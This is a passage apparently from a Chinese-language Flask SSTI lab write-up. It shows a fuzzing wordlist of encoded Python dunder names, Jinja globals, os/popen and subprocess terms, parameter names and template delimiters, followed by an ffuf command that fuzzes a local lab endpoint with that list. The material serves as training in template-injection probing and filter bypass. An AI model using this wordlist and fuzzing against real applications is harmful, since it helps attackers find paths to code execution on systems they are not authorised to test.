5f\x 5fbuiltins\x 5f\x 5f\x 5f\x 5fgetitem\x 5f\x 5f\u 005f\u 005fclass\u 005f\u 005f\u 005f\u 005fbase\u 005f\u 005f\u 005f\u 005fsubclasses\u 005f\u 005f%5f%5fclass%5f%5f %5f%5fbase%5f%5f %5f%5fsubclasses%5f%5f 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 name user username id page search q query keyword code data input value text msg content title body param option setting config lang redirect url next callback function action method route path file filename image img avatar attachment upload download dir folder target host port ip address domain token key secret password passwd pwd auth login register admin debug test mode status type format ext order sort limit offset pageNo pageNum start end from to date time timestamp json xml html response output result info list item field column table db database sql query filter where groupby orderby join union select insert update delete drop create alter exec execute shell cmd command run popen subprocess os sys builtins import module class init globals locals vars lipsum url_for get_flashed_messages config request session g current_app cycler joiner namespace range dict self '' " " [] () {} None True False { } {}{ {{ }} {% %} [ ] [] ][ [ [ ]] ( ) () )( ( (( )) ) . .. ... : : : ; ; ; = == += -= *= /= %= &= |= ^= >>= <<= ** * // / % + - ~ | & ^ << >> < > <= >= == != # ## #{ ${ ${{ ` ` `` ' " ' " ' " \\ \' \" \n \r \t \b \f \x 00\u 0000\U 00000000{% %} {{ }} {{ }} {% %} #{ ## #{{ ${{ ${{ {{{ } }}{{{ }}} {{ }} {% %} {{- -}} {{+ +}} {{~ ~}} {{| |}} {{& &}} " "" ''' \ \\ \' \" \n \r \t \b \f \x 00\x 5f\u 005f%5f %5F __ __ ___ ____ _____ ______ _______ ________ _________ __________ {{ {{ {{ { { {{ { {{} { {} } { { {} } }
可以使用ffuf进行探测
1 ffuf -X POST -u http://192.168.8.133:18080/flasklab/level/13 -d "code=FUZZ" -w ssti_ffuf.txt -mr "A"